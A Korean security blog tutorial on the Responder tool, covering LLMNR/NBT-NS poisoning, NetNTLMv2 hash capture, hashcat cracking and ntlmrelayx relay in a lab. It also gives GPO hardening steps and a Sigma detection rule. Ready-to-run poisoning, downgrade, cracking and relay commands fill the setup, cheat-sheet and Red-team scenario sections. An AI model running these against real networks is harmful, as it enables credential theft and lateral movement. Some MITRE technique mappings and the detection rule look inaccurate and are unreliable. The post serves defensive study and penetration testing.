본문 바로가기
보안 기술/해킹 툴

Responder

주석 위아래의 엔터는 삭제 금지. -->

Responder 심층 분석 및 실무 가이드

📌 핵심 요약 (TL;DR)

  • 본질: 로컬 네트워크 환경에서 발생하는 LLMNR, NBT-NS, mDNS 기반의 이름 확인(Name Resolution) 브로드캐스트 요청에 악의적인 응답을 보내어 통신을 가로채는 포이즈닝 도구
  • 위협 및 목적: 오타가 난 서버명이나 존재하지 않는 공유 폴더를 찾는 클라이언트를 속여 가짜 서버로 접속하게 만들고, 이 과정에서 발생하는 NetNTLMv1/v2 챌린지-리스폰스 해시를 캡처하여 크래킹 또는 SMB 릴레이 공격에 활용
  • 대응 방안: DHCP 및 GPO를 통한 LLMNR/NBT-NS 프로토콜 전면 비활성화, SMB Signing(서명) 강제화, 그리고 WPAD 자동 탐지 기능 해제

목차 (Table of Contents)


⚠️ 법적 면책 조항 (Disclaimer)

본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(개인 VM 및 합법적 모의해킹 계약 범위 내의 인트라넷)에서만 수행되었습니다. 허가되지 않은 네트워크에서의 스니핑, 포이즈닝 및 크리덴셜 수집 시도는 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제48조 위반으로 강력한 형사처벌 대상입니다. 본 문서는 내부망 보안성 강화를 위한 방어적 엔지니어링 지식 공유를 목적으로 합니다.

1. 아키텍처 및 랩(Lab) 토폴로지

  • 난이도: 중급 (Intermediate)
  • 주제 분류: 네트워크 보안 / AD(Active Directory) / 침투 테스트
  • 핵심 키워드: #Responder #LLMNR_Poisoning #NetNTLMv2 #SMB_Relay
  • 사전 지식: Windows 이름 풀이 순서(DNS -> LLMNR -> NBT-NS), NTLM 챌린지/리스폰스 인증 프로토콜, 브로드캐스트 통신 원리

💡 Tip: 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인하세요.

구분 OS / 플랫폼 (버전 필수) 컨테이너 / 인프라 환경 IP 대역 인프라 내 역할
공격 (Red) Kali Linux 2026.x Native VM (L2 동일 스위치) 10.0.0.50/24 Responder 리스너 구동 및 가짜 SMB/HTTP 서버 대기
타겟 (Target) Windows 10/11 Enterprise AD Joined Client 10.0.0.100/24 오타가 포함된 UNC 경로(\\FALESE_SRV) 요청 발생
방어 (Blue) Windows Server 2022 DC AD Domain Controller 10.0.0.200/24 GPO 배포를 통한 LLMNR 차단 및 SMB 서명 정책 강제

[실전 아키텍처 토폴로지]

sequenceDiagram participant C as Windows Client (10.0.0.100) participant D as DNS Server (10.0.0.200) participant R as Attacker: Responder (10.0.0.50)
C->>D: 1. "FILE-SRVR" IP 주소 질의 (DNS)
D-->>C: 2. NXDOMAIN (존재하지 않는 도메인)
C->>R: 3. 브로드캐스트 "FILE-SRVR" 누구냐? (LLMNR UDP 5355)
R-->>C: 4. 포이즈닝 응답 "내가 FILE-SRVR 이다. IP는 10.0.0.50"
C->>R: 5. 내 크리덴셜로 연결할게 (SMB Auth Request)
R-->>C: 6. 챌린지 값 전송 (Challenge)
C->>R: 7. 해시화된 리스폰스 전송 (NetNTLMv2 Hash)
Note over R: 8. Responder: 해시 캡처 완료 및 연결 종료

그림 1: LLMNR 포이즈닝 및 NetNTLMv2 캡처 킬체인 워크플로우


2. 핵심 개념 및 기술적 정의

2-1. 상세 정의 및 동작 메커니즘 전수 나열

  • 정의 1 (학술적): IPv4/IPv6 네트워크 상에서 NBT-NS, LLMNR, mDNS 등의 로컬 이름 확인 프로토콜의 취약성을 악용하여, 공격자가 자신을 신뢰할 수 있는 리소스로 위장(Spoofing)하는 네트워크 기반 인증 가로채기 도구입니다.
  • 정의 2 (실무적): 레드팀(Red Team)이 기업 내부망(L2)에 침투했을 때, 제일 먼저 실행시켜 흩날리는 브로드캐스트 트래픽을 주워 담아 AD 계정의 해시를 수집하는 '만능 그물' 역할을 합니다.
  • 탄생 배경 1 (레거시): Windows 환경은 DNS 서버가 응답하지 않거나 레코드가 없을 경우, 편의성을 위해 로컬 서브넷의 이웃 노드들에게 이름을 물어보는 브로드캐스트 통신(NetBIOS, LLMNR)을 수행하도록 설계되었습니다.
  • 탄생 배경 2 (모던): 이 설계는 '응답의 무결성'을 검증하지 않는다는 치명적인 결함이 있습니다. 누구나 "내가 그 서버다"라고 응답하면 클라이언트는 이를 맹신하고 자신의 인증 정보(NTLM)를 넘겨줍니다.
  • 인프라 내 역할: OSI 7계층 중 L2~L3 브로드캐스트 도메인 내에서 작동하며, 가짜 SMB, HTTP, SQL, FTP 데몬을 띄워 연결을 유도합니다.
  • 주의점 (Hash의 종류): Responder가 캡처하는 해시는 시스템에 저장된 고정 해시(NTLM/LM Hash)가 아닌, 네트워크 인증 과정에서 챌린지(난수)와 결합하여 생성되는 NetNTLMv1 또는 NetNTLMv2 해시입니다. 이는 Pass-the-Hash 기법에 직접 사용할 수 없으며 반드시 오프라인 크래킹을 거치거나 실시간 릴레이(Relay)에 사용해야 합니다.

2-2. MITRE ATT&CK & Kill Chain 매핑 (Full Spectrum)

Kill Chain Phase MITRE Tactic (전술) Technique (기법) ID
Reconnaissance Discovery Network Service Discovery T1595.001
Delivery Credential Access Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning T1557.001
Exploitation Credential Access Network Sniffing T1040
Weaponization Credential Access Brute Force: Password Cracking (오프라인) T1110.002
Privilege Escalation Lateral Movement Use Alternate Authentication Material: SMB Relay T1550.003

3. 주요 특징 및 통신 규격 (Exhaustive Analysis)

3-1. 기술적 핵심 특징 10선

  1. 아키텍처 모델: 수동적 청취(Passive Listening)와 능동적 포이즈닝(Active Poisoning)의 결합.
  2. 가짜 데몬 지원: HTTP, SMB, MSSQL, FTP, LDAP, SMTP, POP3, IMAP 등 인증을 요구하는 대부분의 프로토콜 리스너 내장.
  3. WPAD 악용: Web Proxy Auto-Discovery 프로토콜을 포이즈닝하여, 브라우저 트래픽을 자신에게 강제 라우팅(Rogue Proxy)시킴.
  4. Cross-Protocol Relay 지원: 향후 ntlmrelayx.py와 연동하기 위해 특정 포트를 끄고 비우는 유연한 설정(Responder.conf) 기능.
  5. IPv6 지원: IPv4 망뿐만 아니라 DHCPv6 인프라에서 발생하는 DNS 탈취(Spoofing) 공격 기능 지원.
  6. OS 호환성: 순수 Python 3 스크립트로 작성되어 Kali Linux뿐만 아니라 macOS, 일반 Linux 배포판에서 종속성 없이 구동 가능.
  7. 다운그레이드 유도: 가능할 경우 더 취약한 인증 프로토콜(LM 또는 NTLMv1)로 응답하도록 강제하는 기능 포함.
  8. 분석기 모드: 포이즈닝을 수행하지 않고(Analyze Mode), 네트워크 내 LLMNR/NBT-NS 요청 빈도만 수집하는 스텔스 모드.
  9. 지능형 응답: 클라이언트가 요청한 서버 이름과 매칭되는 정확한 패턴을 스스로 조립하여 응답(Targeted Poisoning).
  10. 로그 파이프라인 (SIEM): 캡처된 해시는 SQLite DB(Responder.db)와 텍스트 파일에 동시 기록되어 추후 Hashcat 크래킹에 용이함.

3-2. 실무 관점 장단점 (5 Pros & 5 Cons)

구분 시스템 관점 특성 상세 팩트 보안 및 인프라 운영 관점의 트레이드오프
강점 1 [공격자] 스니핑 및 포이즈닝의 완전 자동화 네트워크에 연결하고 스크립트 실행만으로 해시가 알아서 수집됨
강점 2 [공격자] 90% 이상의 기업 인프라(AD)에서 기본 작동 관리자가 수동으로 끄지 않는 한, Windows 기본값이 취약함
강점 3 [공격자] 클라이언트가 알아채기 힘든 스텔스성 인증 프롬프트가 보이지 않고 백그라운드에서 SSO 토큰이 넘어감
약점 1 [공격자] 같은 서브넷(L2 도메인) 내에서만 동작 라우터를 넘어가는 다른 대역의 브로드캐스트는 캡처할 수 없음
약점 2 [공격자] 획득한 해시(NetNTLMv2)는 PtH에 사용 불가 반드시 연산 자원(GPU)을 낭비해 평문으로 크랙해야 하는 수고 발생
약점 3 [방어자] 네트워크 탭이나 스니퍼 없이는 탐지 난해 엔드포인트 백신(AV)이나 EDR은 네트워크 L2 행위를 탐지하지 못함
약점 4 [방어자] LLMNR/NBT-NS를 끄면 레거시 시스템 통신 단절 DNS 인프라가 미흡한 기업은 차단 시 내부 서비스 장애 발생 우려
약점 5 [방어자] SMB 서명을 켜면 성능 10~15% 저하 발생 파일 서버 대규모 I/O 환경에서는 SMB Signing 강제가 부담으로 작용

3-3. 서비스 포트 및 브로드캐스트 통신 규격

포트 프로토콜 서비스 및 데몬 역할 공격 메커니즘 (Poisoning Target)
137 UDP NBT-NS (NetBIOS Name Service) 가장 오래된 이름 풀이 브로드캐스트, IPv4에서만 동작
5355 UDP LLMNR (Link-Local Multicast) NBT-NS의 후속작, 멀티캐스트(224.0.0.252) 기반 IPv4/IPv6 동작
5353 UDP mDNS (Multicast DNS) 주로 Apple(Bonjour) 및 Linux 환경의 멀티캐스트 이름 해석
445 / 139 TCP 가짜 SMB 서버 리스너 포이즈닝 후 클라이언트의 파일 접근 요청을 받아 해시를 캡처
80 / 3128 TCP 가짜 HTTP 및 WPAD 프록시 브라우저의 PAC 파일 요청을 가로채고 HTTP Basic/NTLM 인증 유도

4. 서버 인프라 및 도구 환경 구축 명세

4-1. 사전 요구 사항 (Dependencies)

  • OS 환경: Kali Linux 2026.x (네트워크 어댑터는 브리지(Bridge) 또는 타겟과 동일한 Host-only 구성)
  • 의존 패키지: python3, impacket, netifaces
  • 권한 제어: 1024번 이하의 Well-known 포트(80, 445 등)를 바인딩해야 하므로 반드시 root 권한(sudo) 실행 필요.

4-2. 시스템 구축 및 셋업 (Step-by-Step Complete)

💻 Responder 설정 및 구동 스크립트

# [Step 1: Kali Linux 내장 Responder 확인 및 최신화 (Git Clone)]
$ sudo apt update && sudo apt install responder -y
# 또는 최신 버전의 경우 Github에서 직접 클론
$ git clone [https://github.com/SpiderLabs/Responder.git](https://github.com/SpiderLabs/Responder.git) && cd Responder

# [Step 2: 로컬 네트워크 인터페이스 식별]
$ ip a | grep 10.0.0.50
# 출력 결과의 인터페이스 명(예: eth0) 기억

# [Step 3: Responder.conf 파일 커스터마이징 (필요 시)]
# 순수 해시 캡처 목적이 아닌 SMB Relay(ntlmrelayx)로 연계할 경우 
# SMB와 HTTP 가짜 서버를 Off로 변경해야 포트 충돌이 나지 않음.
$ sudo sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf
$ sudo sed -i 's/HTTP = On/HTTP = Off/' /etc/responder/Responder.conf

# [Step 4: LLMNR/NBT-NS 포이즈너 구동 (기본 모드)]
$ sudo responder -I eth0 -rdwv

5. 상세 명세 (명령어 / API / 프로토콜 전수 분석)

5-1. 기본 구문 및 명령어 구조 (Syntax)

📌 Syntax 표기법 (안전 파싱 모드)

  • {필수항목} : 반드시 입력해야 하는 값
  • [선택항목] : 생략 가능한 옵션 값

# Responder 글로벌 명령어 구조
responder -I {네트워크_인터페이스} [옵션_플래그]

5-2. 실행 옵션 및 제어 플래그 상세 목록 (10 Core Flags)

플래그 (단축 / 전체) 동작 원리 및 매뉴얼 상세 설명 실전 명령어 예시 (Concrete Example) 실무/보안 활용 관점
-I / --interface 포이즈닝을 수행할 네트워크 인터페이스 지정 responder -I eth0 여러 네트워크 대역 중 타겟 서브넷을 정확히 지정
-r / --wpad WPAD (Web Proxy Auto-Discovery) 포이즈닝 활성화 responder -I eth0 -r 브라우저 트래픽 라우팅을 조작하여 인증창 띄우기
-d / --DHCP DHCP 도메인 접미사 쿼리에 대한 포이즈닝 활성화 responder -I eth0 -d 비표준 도메인 쿼리에 대한 강제 응답 지원
-w / --wredir WPAD 인증 요청 시 가짜 PAC 파일 응답 활성화 responder -I eth0 -w 프록시 스크립트를 변조하여 HTTP 인증 가로채기
-v / --verbose 캡처된 해시 전체 문자열을 화면에 실시간 상세 출력 responder -I eth0 -v 캡처 성공 즉시 해시값 복사 및 크래킹 연계 시 활용
-A / --analyze 실제 응답(Poisoning)을 하지 않고 네트워크 분석만 진행 responder -I eth0 -A 스텔스 정찰 단계에서 망 내 브로드캐스트 양 측정
-f / --fingerprint 포이즈닝 타겟의 운영체제(OS)를 패시브 핑거프린팅 responder -I eth0 -f 버전별 익스플로잇 가능 여부 사전 확인
--disable-ess SMB 세션 보안을 강제로 다운그레이드 유도 responder -I eth0 --disable-ess NTLMv1 캡처를 유도하여 크래킹 난이도 극저하
-lm / --lm LM 해시 챌린지 캡처 강제화 (매우 오래된 레거시) responder -I eth0 -lm Windows XP/2003 등 구형 망 존재 여부 점검

5-3. 비대화형 명령어 조합 실전 시나리오 (3 Non-Interactive Scenarios)

조합 시나리오 및 목적 실전 명령어 완성본 (Ready-to-Use) 백그라운드 파싱 메커니즘 및 런타임 결과
[Standard Capture] 기본 해시 캡처 올인원 모드 sudo responder -I eth0 -rdwv NBT-NS, LLMNR, WPAD를 모두 켜고 화면에 해시 상세 출력
[Stealth Audit] 내부망 브로드캐스트 위협 진단 sudo responder -I eth0 -A 가짜 서버를 띄우지 않고, 망 내 잘못된 DNS 쿼리 로깅만 수행
[Relay Prep] ntlmrelayx 연동을 위한 백그라운드 구동 sudo responder -I eth0 -rdw (Responder.conf SMB=Off) SMB 요청은 스루패스하고 ntlmrelayx가 패킷을 받아 릴레이 타격

6. 핵심 킬체인 치트시트 (Cheat Sheet)

6-1. Responder 연계 크래킹 및 릴레이 원라이너 전수

공격 기법 (Vector) 완전한 실전 명령어 원문 (One-Liner Example) 런타임 결과 및 우회 목적 서술
[Hash Viewing] sqlite3 /usr/share/responder/Responder.db "SELECT * FROM responder;" SQLite에 저장된 캡처 해시 정보 덤프 및 추출
[Log Check] cat /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt 파일명에 기록된 타겟 IP와 해시 원문 조회
[Hashcat Crack] hashcat -m 5600 ntlmv2_hash.txt rockyou.txt NetNTLMv2(모드 5600) 오프라인 고속 크래킹
[NTLMv1 Crack] hashcat -m 5500 ntlmv1_hash.txt rockyou.txt 레거시 NetNTLMv1(모드 5500) 해시 복원
[SMB Relay] ntlmrelayx.py -tf targets.txt -smb2support 포이즈닝된 인증 정보를 다른 서버로 즉시 전달(PtR)

7. 심층 킬체인 워크플로우 (Deep Dive)

7-1. 취약점 식별 (CVE / 인프라 구조 결함)

식별 체계 취약점 명칭 및 인프라 설계 결함 CVSS v3.1 파급력 (Impact) 대응/패치
Architectural LLMNR / NBT-NS Protocol Spoofing [NetNTLMv2 유출] [GPO 비활성화 통제]
Architectural Lack of SMB Signing [SMB 릴레이 타격] [SMB Signing Required]
CVE-2016-3302 WPAD Name Resolution Vulnerability 7.5 (H) [Proxy 트래픽 탈취] [WPAD 자동 탐지 해제]

Vulnerability Deep Dive: NetNTLMv2 Authentication Process

  • 발생 원인 (Root Cause): Windows는 싱글 사인온(SSO) 편의성을 위해 백그라운드에서 NTLM 인증을 자동 시도합니다. 공격자가 가짜 서버를 띄워 8바이트의 랜덤 챌린지(Challenge)를 던지면, 클라이언트는 자신의 NTLM 해시를 사용해 응답(Response)을 계산하여 넘겨줍니다.
  • 파급력 (Impact): 이 리스폰스 값(NetNTLMv2) 자체는 직접 시스템 인증에 쓸 수 없지만, GPU를 활용한 해시캣(Hashcat)으로 오프라인에서 평문 패스워드를 알아내거나, SMB Signing이 꺼진 다른 호스트에 그대로 중계(Relay)하여 관리자 권한으로 코드를 실행할 수 있습니다.

7-2. 공격 타임라인 재구성 (Chronological Attack Flow)

타임스탬프 (T+) 공격/방어 행위 (Action) 사용 도구 / 명령어 발생 로그 및 탐지 포인트 (DFIR)
T - 00:30 레드팀 사내망(L2) 진입 및 Responder 가동 responder -I eth0 -rdwv 5355(UDP), 137(UDP) 인바운드 리스닝 소켓 발생
T + 00:00 사용자가 실수로 오타난 공유폴더(\\DEV-SR) 접근 Windows 탐색기 [탐지 불가] DNS 에러 후 브로드캐스트 발송
T + 00:01 Responder가 즉각 포이즈닝 응답 전송 [Poisoners] 모듈 작동 패킷: LLMNR 응답 패킷 스푸핑 (WireShark)
T + 00:02 사용자가 Responder에게 SMB 인증 시도 [SMB] NTLMv2-SSP Responder 콘솔 화면에 해시 텍스트 출력됨
T + 00:15 탈취한 해시를 Hashcat으로 오프라인 크랙 hashcat -m 5600 (공격자 로컬 자원 소모, 타겟 망에는 증거 없음)
T + 02:00 크랙된 평문 패스워드로 DC(Domain Controller) 접속 wmiexec.py / psexec Event ID 4624 (성공한 로그온) - 방어자 혼란 야기

8. 실전 침투 테스트 및 로그 관제 시나리오 (Pen-Testing Lab)

📘 Scenario A: LLMNR 포이즈닝 후 ntlmrelayx 연계 권한 탈취

  • 학습 목표: NetNTLMv2 해시 크래킹에 실패하더라도, 포이즈닝된 세션을 다른 서버로 릴레이하여 쉘을 획득하는 Cross-Protocol Attack 이해.
  • 전제 조건: 타겟 서버들(10.0.0.101, 102 등)의 SMB 서명(Signing) 설정이 Enabled일 뿐, Required가 아닐 것.

⚔️ Red/Blue Team 교전 시나리오

# [Step 1: Red Team - Responder.conf 수정 후 SMB 리스너 끄기]
$ sudo sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf

# [Step 2: Red Team - 릴레이 툴(ntlmrelayx) 준비 및 커맨드 삽입 대기]
# 타겟 리스트(SMB 서명이 꺼진 서버들)를 대상으로 SAM 덤프 명령(-c) 대기
$ impacket-ntlmrelayx -tf smb_targets.txt -smb2support -c "ipconfig"

# [Step 3: Red Team - Responder 실행 (순수 포이즈닝용)]
$ sudo responder -I eth0 -rdwv

# [Step 4: Target - 사용자가 임의의 이름(UNC) 검색 시도]
# -> ntlmrelayx가 챌린지를 받아 전달하고, 인증을 통과하여 타겟의 시스템 명령(ipconfig) 실행 성공

# [Step 5: Blue Team - 관제 및 방어 (SIEM)]
# SMB Signing이 강제(Required)된 방어 서버는 ntlmrelayx의 접근을 거부함 (STATUS_ACCESS_DENIED)

9. 트러블슈팅 및 장애 대응 (5 RCA Scenarios)

에러 로그 (Symptom) / 증상 발생 원인 (Root Cause) 해결책 (Resolution) 조치 후 검증 커맨드 (Verification)
Error binding to port 445 Kali 리눅스 로컬에서 SMB 데몬 구동 중 내장된 Samba 데몬 중지 후 Responder 재시작 sudo systemctl stop smbdss -tnlp
Skipping previously captured hash 이미 캡처된 사용자 계정 해시 필터링됨 기존 로그 파일 삭제 또는 임시 디렉터리 이동 rm /usr/share/responder/logs/*.txt
해시가 전혀 캡처되지 않음 타겟 대역 라우터 분리 또는 프로토콜 차단 타겟과 동일한 서브넷(L2)인지 브리지 점검 arp-scan -l 로 타겟 MAC 가시성 확보
Hashcat: Token length exception Responder 출력 복사 시 개행문자 포함됨 해시 텍스트 파일 내의 줄바꿈 등 포맷 정리 user::domain:challenge:response:alices
SMB Relay: STATUS_ACCESS_DENIED 타겟 서버의 SMB Signing이 Required 릴레이 공격 불가, 해시 크래킹으로 선회 (방어자의 올바른 보안 설정 적용 증거)

🛡️ Blue Team: 시스템 통제 및 방어 엔지니어링
LLMNR/NBT-NS 포이즈닝은 방화벽으로 막을 수 없습니다. 근본적인 설계 결함이므로 네트워크 서비스 레벨에서의 완전한 비활성화(Disable)와 인증 세션 무결성(Signing) 강화가 유일한 해결책입니다.

10. 방어 및 위협 헌팅 엔지니어링

10-1. 인프라 하드닝 및 그룹 정책(GPO) 보안 (5 Points Checklist)

  1. LLMNR 비활성화 (GPO):
    • 컴퓨터 구성 -> 관리 템플릿 -> 네트워크 -> DNS 클라이언트
    • "멀티캐스트 이름 확인 사용 안 함(Turn off multicast name resolution)" -> 사용(Enabled)
  2. NBT-NS 비활성화 (DHCP/Registry):
    • 어댑터 설정: TCP/IP 고급 설정 -> WINS 탭 -> "TCP/IP를 통해 NetBIOS 사용 안 함" 체크.
    • 대규모 환경에서는 DHCP 범위 옵션 001 Microsoft Disable NetBIOS Option 값을 0x2로 배포.
  3. SMB Signing 강제화 (GPO):
    • 포이즈닝 이후의 NTLM 릴레이를 막기 위한 핵심 방어.
    • 컴퓨터 구성 -> Windows 설정 -> 보안 설정 -> 로컬 정책 -> 보안 옵션
    • "Microsoft 네트워크 서버: 항상 디지털 서명 통신(Digitally sign communications (always))" -> 사용(Enabled)
  4. WPAD 비활성화 (Registry/GPO):
    • 레지스트리 WinHttpAutoProxySvc 서비스 중지 또는 브라우저 '자동으로 설정 검색' 체크 해제.
  5. 강력한 관리자 암호 및 LAPS 적용:
    • 만에 하나 NetNTLMv2 해시가 유출되더라도, 비밀번호가 복잡(15자리 이상 무작위)하면 Hashcat 오프라인 크래킹이 수천 년 소요되어 사실상 방어 성공.

10-2. 위협 헌팅 탐지 룰셋 (Sigma Rule to Graylog Pipeline)

방어자는 LLMNR 프로토콜(UDP 5355) 자체가 발생하는 것부터 의심해야 하며, 특히 다수의 인증 실패 후 발생하는 성공 로그를 관제해야 합니다.

📝 YAML: sigma_rule_smb_relay.yml

title: Detect Potential SMB Relay Attack Activity
status: experimental
description: SMB 릴레이 도구가 인증 시도 시 NTLM SSP 내 생성하는 워크스테이션 명 징후 탐지
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4624 # Successful Logon
        LogonType: 3  # Network Logon
        AuthenticationPackageName: 'NTLM'
        # ntlmrelayx.py의 기본 더미(Dummy) 워크스테이션 이름 패턴 (수정 가능하나 디폴트 탐지)
        WorkstationName: 'CORP-WP*' 
    condition: selection
level: high

11. 공식 레퍼런스 (References)

  • Responder GitHub Repo (Laurent Gaffié): https://github.com/lgandx/Responder
  • MITRE ATT&CK - Adversary-in-the-Middle: https://attack.mitre.org/techniques/T1557/001/
  • Microsoft NTLM 릴레이 완화 가이드: https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429

12. 결론 및 비즈니스 임팩트 (Wrap-up)

엔지니어링 방어 철학

편의성(Usability)을 위해 설계된 레거시 프로토콜의 하위 호환성 유지는 공격자에게 가장 크고 편안한 진입로를 제공합니다. "내부망은 안전하다"는 맹목적인 믿음(Castle-and-Moat 모델)을 버리고, 내부 통신 간에도 상호 인증 무결성(SMB Signing)을 검증하는 제로 트러스트(Zero Trust) 통제 인프라를 확립해야 합니다.

CISO 및 보안 관리 관점

Responder를 통한 초기 권한 획득 킬체인은 방화벽이나 백신 도입 비용 없이, 단순히 GPO 레지스트리 몇 줄을 변경하는 것만으로 99% 무력화할 수 있습니다. 위협의 구조를 이해하고 IT 인프라 부서와의 긴밀한 협의를 통해 사내 레거시 프로토콜을 과감히 폐기하는 결단력이 필요합니다.

💡 Related Posts

  • 👉 Active Directory 인프라를 위한 Tier 모델 보안 격리 아키텍처
  • 👉 ntlmrelayx.py를 활용한 AD CS(인증서 서비스) 취약점 릴레이 연계
  • 👉 [시스템 보안] John the Ripper 심층 분석: 오프라인 해시 크래킹 메커니즘

오류나 기술적 추가 질문은 언제든 댓글로 남겨 주세요.


Architected by Elpam.k

'보안 기술 > 해킹 툴' 카테고리의 다른 글

ffuf (Fuzz Faster U Fool)  (0) 2026.05.14
John the Ripper  (0) 2026.04.08
AWS CLI  (0) 2026.04.08
Impacket(psexec.py)  (0) 2026.04.08
Netcat(nc)  (0) 2026.04.08

Discussion 0